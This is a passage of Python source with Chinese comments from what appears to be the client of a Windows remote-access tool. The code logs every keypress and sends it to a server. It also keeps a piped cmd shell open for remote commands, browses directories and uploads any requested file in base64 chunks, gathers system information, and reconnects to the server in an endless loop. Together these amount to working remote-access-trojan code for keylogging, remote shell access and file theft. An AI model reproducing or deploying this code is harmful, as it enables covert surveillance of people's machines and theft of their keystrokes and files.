== keyboard.Key.space: # 空格键特殊处理 538 | s = " " 539 | elif isinstance(key, keyboard.KeyCode): # 普通按键 540 | if key.char is not None: 541 | s = key.char 542 | else: 543 | try: 544 | s = chr(key.vk - 48) # 尝试转换键码 545 | except ValueError: 546 | s = "Error" 547 | else: 548 | return 549 | 550 | # 发送按键事件包 551 | packet = {"type": KEY_EVENT, "key": s} 552 | self.send_packet(packet) 553 | 554 | @staticmethod 555 | def get_files_packet(path: str) -> Packet: 556 | """获取目录列表数据包""" 557 | try: 558 | # 规范化路径 559 | path = os.path.normpath(path) 560 | 561 | # 检查路径是否存在 562 | if not os.path.exists(path): 563 | return { 564 | "type": DIR_LIST_RESULT, 565 | "path": path, 566 | "dirs": [], 567 | "files": [], 568 | "error": "路径不存在" 569 | } 570 | 571 | # 确保路径包含盘符前缀 572 | if not path.startswith(('C:', 'D:', 'E:', 'F:', 'G:', 'H:', 'I:', 'J:', 'K:', 'L:', 'M:', 573 | 'N:', 'O:', 'P:', 'Q:', 'R:', 'S:', 'T:', 'U:', 'V:', 'W:', 'X:', 'Y:', 'Z:')): 574 | path = 'C:/' + path.lstrip('/') 575 | 576 | # 检查路径是否存在 577 | if not os.path.exists(path): 578 | print(f"路径不存在: {path}") 579 | return { 580 | "type": DIR_LIST_RESULT, 581 | "path": path, 582 | "dirs": [], 583 | "files": [] 584 | } 585 | 586 | # 检查是否是目录 587 | if not os.path.isdir(path): 588 | print(f"路径不是目录: {path}") 589 | return { 590 | "type": DIR_LIST_RESULT, 591 | "path": path, 592 | "dirs": [], 593 | "files": [] 594 | } 595 | 596 | # 获取目录内容 597 | dirs = [] 598 | files = [] 599 | try: 600 | with os.scandir(path) as entries: # 使用scandir更高效 601 | for entry in entries: 602 | if entry.is_dir(): 603 | dirs.append(entry.name) 604 | elif entry.is_file(): 605 | files.append(entry.name) 606 | except Exception as e: 607 | print(f"扫描目录失败: {e}") 608 | # 回退到os.listdir 609 | try: 610 | for name in os.listdir(path): 611 | full_path = os.path.join(path, name) 612 | if os.path.isdir(full_path): 613 | dirs.append(name) 614 | else: 615 | files.append(name) 616 | except Exception as e: 617 | print(f"回退方法也失败: {e}") 618 | raise 619 | 620 | # 统一路径格式 621 | normalized_path = path.replace('\\', '/').replace('//', '/') 622 | 623 | print(f"成功获取目录列表: {normalized_path} (目录: {len(dirs)}, 文件: {len(files)})") 624 | 625 | return { 626 | "type": DIR_LIST_RESULT, 627 | "path": normalized_path, 628 | "dirs": dirs, 629 | "files": files 630 | } 631 | 632 | except Exception as e: 633 | print(f"获取目录列表时发生严重错误: {e}") 634 | return { 635 | "type": DIR_LIST_RESULT, 636 | "path": path, 637 | "dirs": [], 638 | "files": [] 639 | } 640 | 641 | @staticmethod 642 | def scroll_sleep(waits: float, text: str): 643 | """带滚动显示的等待""" 644 | timer = time() 645 | while timer + waits > time(): 646 | sleep(0.1) 647 | print("\r" + text.format(waits, round(time() - timer, 1)), end="") 648 | print("\r" + text.format(waits, waits) + " ") 649 | 650 | @staticmethod 651 | def get_available_drives() -> list[str]: 652 | """获取所有可用盘符""" 653 | drives = [] 654 | bitmask = ctypes.windll.kernel32.GetLogicalDrives() # 获取逻辑驱动器位掩码 655 | for i in range(26): # 检查A-Z驱动器 656 | if bitmask & (1 << i): 657 | drives.append(f"{chr(65 + i)}:") # 添加可用驱动器 658 | return drives 659 | 660 | def init_var(self): 661 | """初始化变量""" 662 | self.sending_screen = False # 重置屏幕发送状态 663 | self.screen_fps = 15 # 重置帧率 664 | self.shell_stop_flag = False # 重置shell停止标志 665 | self.screen_format: str = ScreenFormat.JPEG # 重置屏幕格式 666 | self.screen_quality = 80 # 重置质量 667 | self.pre_scaled = True # 重置预缩放 668 | self.screen_size: tuple[int, int] = (960, 540) # 重置屏幕大小 669 | self.key_listener = keyboard.Listener(on_press=self.on_key_press) # 重新初始化键盘监听 670 | self.action_manager.stop2clear() # 清除所有动作 671 | self.shell_thread_running = False # 重置shell线程状态 672 | 673 | # 终止现有shell进程 674 | if getattr(self, "shell", None): 675 | self.shell.terminate() 676 | 677 | # 启动新的shell进程 678 | self.shell = Popen( 679 | ["cmd"], # Windows命令提示符 680 | stdin=PIPE, # 标准输入管道 681 | stdout=PIPE, # 标准输出管道 682 | stderr=STDOUT, # 标准错误重定向到标准输出 683 | shell=True, 684 | universal_newlines=False, # 不使用文本模式 685 | ) 686 | 687 | def restore_shell(self): 688 | """恢复shell会话""" 689 | if getattr(self, "shell", None): 690 | self.shell.terminate() # 终止现有shell 691 | self.shell_stop_flag = True # 设置停止标志 692 | self.shell_thread.join() # 等待shell线程结束 693 | self.shell_stop_flag = False # 重置停止标志 694 | 695 | # 启动新的shell进程 696 | self.shell = Popen( 697 | ["cmd"], 698 | stdin=PIPE, 699 | stdout=PIPE, 700 | stderr=STDOUT, 701 | shell=True, 702 | universal_newlines=False, 703 | ) 704 | 705 | # 如果shell线程未运行,则启动 706 | if not self.shell_thread_running: 707 | self.shell_thread = start_and_return(self.shell_output_thread) 708 | 709 | def try_connect(self) -> bool: 710 | """尝试连接服务器""" 711 | try: 712 | print("尝试连接至服务器") 713 | self.sock.settimeout(self.config.connect_timeout) # 设置连接超时 714 | self.sock.connect((self.host, self.port)) # 连接服务器 715 | 716 | # 初始化各种管理器 717 | self.packet_manager.init_stack() 718 | self.init_var() 719 | self.sock.settimeout(1) # 重置超时为1秒 720 | self.packet_manager.set_socket(self.sock) 721 | 722 | # 启动键盘监听 723 | if self.config.record_key: 724 | self.key_listener.start() 725 | 726 | self.connected = True 727 | return True 728 | except ConnectionError as e: 729 | print("连接时发生错误:", e) 730 | self.connected = False 731 | return False 732 | except TimeoutError: 733 | print("连接超时") 734 | self.connected = False 735 | return False 736 | 737 | def packet_send_thread(self): 738 | """数据包发送线程""" 739 | self.packet_manager.packet_send_thread() 740 | 741 | def send_packet( 742 | self, 743 | packet: Packet, 744 | loss_enable: bool = False, 745 | priority: int = Priority.HIGHER, 746 | ) -> None: 747 | """发送数据包""" 748 | if packet["type"] != SCREEN and packet["type"] != PONG: # 非屏幕/PONG包打印日志 749 | print("发送数据包:", packet_str(packet)) 750 | self.packet_manager.send_packet(packet, loss_enable, priority) 751 | 752 | def recv_packet(self) -> tuple[int, None] | tuple[int, Packet]: 753 | """接收数据包""" 754 | return self.packet_manager.recv_packet() 755 | 756 | def stop(self): 757 | """停止客户端""" 758 | print("停止客户端...") 759 | self.sock.close() # 关闭socket 760 | 761 | # 终止shell进程 762 | if self.shell: 763 | self.shell.terminate() 764 | 765 | self.connected = False # 设置连接状态为False 766 | 767 | # 清理dxcam资源 768 | if hasattr(self, 'use_dxcam') and self.use_dxcam: 769 | try: 770 | if self.camera is not None: 771 | del self.camera 772 | except (OSError, AttributeError): 773 | pass 774 | 775 | @staticmethod 776 | def get_available_drives() -> list[str]: 777 | """获取所有可用盘符(静态方法版本)""" 778 | drives = [] 779 | bitmask = ctypes.windll.kernel32.GetLogicalDrives() 780 | for i in range(26): 781 | if bitmask & (1 << i): 782 | drives.append(f"{chr(65 + i)}:") 783 | return drives 784 | 785 | def get_system_info(self) -> dict: 786 | """获取系统信息""" 787 | return { 788 | "os": platform(), # 操作系统信息 789 | "arch": machine(), # 系统架构 790 | "cpu": processor() or "Unknown", # CPU信息 791 | "ram": f"{round(psutil.virtual_memory().total / (1024**3), 2)} GB", # 内存大小 792 | "cores": psutil.cpu_count(logical=False), # 物理核心数 793 | "threads": psutil.cpu_count(logical=True) # 逻辑处理器数 794 | } 795 | 796 | def file_download_thread(self, packet: Packet): 797 | """文件下载线程""" 798 | path = packet["path"] # 文件路径 799 | try: 800 | with open(path, "rb") as file: 801 | file_size = os.path.getsize(path) # 获取文件大小 802 | chunk_size = self.config.file_block # 分块大小 803 | cookie = random_hex(8) # 随机cookie 804 | 805 | # 发送文件下载开始包 806 | self.send_packet({ 807 | "type": FILE_DOWNLOAD_START, 808 | "path": path, 809 | "size": file_size, 810 | "cookie": cookie 811 | }) 812 | 813 | # 分块读取并发送文件 814 | while True: 815 | data = file.read(chunk_size) 816 | if not data: # 文件结束 817 | break 818 | self.send_packet({ 819 | "type": FILE_DOWNLOAD_DATA, 820 | "data": b64encode(data).decode("utf-8"), 821 | "cookie": cookie 822 | }, priority=Priority.LOWER) # 低优先级发送 823 | 824 | # 发送下载结束包 825 | self.send_packet({ 826 | "type": FILE_DOWNLOAD_END, 827 | "cookie": cookie 828 | }) 829 | 830 | except Exception as e: 831 | self.send_packet({ 832 | "type": FILE_DOWNLOAD_ERROR, 833 | "path": path, 834 | "error": str(e) 835 | }) 836 | 837 | def get_file_attributes(self, packet: Packet): 838 | """获取文件属性""" 839 | path = packet["path"] 840 | try: 841 | stat = os.stat(path) # 获取文件状态 842 | attributes = { 843 | "path": path, 844 | "size": stat.st_size, # 文件大小 845 | "created": stat.st_ctime, # 创建时间 846 | "modified": stat.st_mtime, # 修改时间 847 | "is_dir": os.path.isdir(path) # 是否是目录 848 | } 849 | self.send_packet({ 850 | "type": FILE_ATTRIBUTES_RESULT, 851 | "attributes": attributes 852 | }) 853 | except Exception as e: 854 | self.send_packet({ 855 | "type": FILE_ATTRIBUTES_ERROR, 856 | "path": path, 857 | "error": str(e) 858 | }) 859 | 860 | @property 861 | def connected(self): 862 | """连接状态属性(getter)""" 863 | return self.__connected 864 | 865 | @connected.setter 866 | def connected(self, value: bool): 867 | """连接状态属性(setter)""" 868 | self.__connected = value 869 | self.packet_manager.connected = value # 同时更新packet_manager的状态 870 | 871 | def main(): 872 | """主函数""" 873 | while True: 874 | try: 875 | # 清理现有客户端 876 | try: 877 | client.stop() 878 | del client 879 | except NameError: # client未定义 880 | pass 881 | 882 | # 创建新客户端 883 | config = Config() 884 | client = Client(config) 885 | 886 | try: 887 | ret = client.run_infinitely() # 运行客户端主循环 888 | if ret == False: # 需要退出 889 | break 890 | except ClientStopped: # 服务端停止客户端 891 | print("客户端被服务端停止") 892 | break 893 | except ClientRestart: # 需要重启 894 | pass 895 | finally: 896 | pass 897 | 898 | if __name__ == "__main__": 899 | """程序入口""" 900 | while True: 901 | try: 902 | main() 903 | finally: 904 | pass 905 | 906 | --------------------------------------------------------------------------------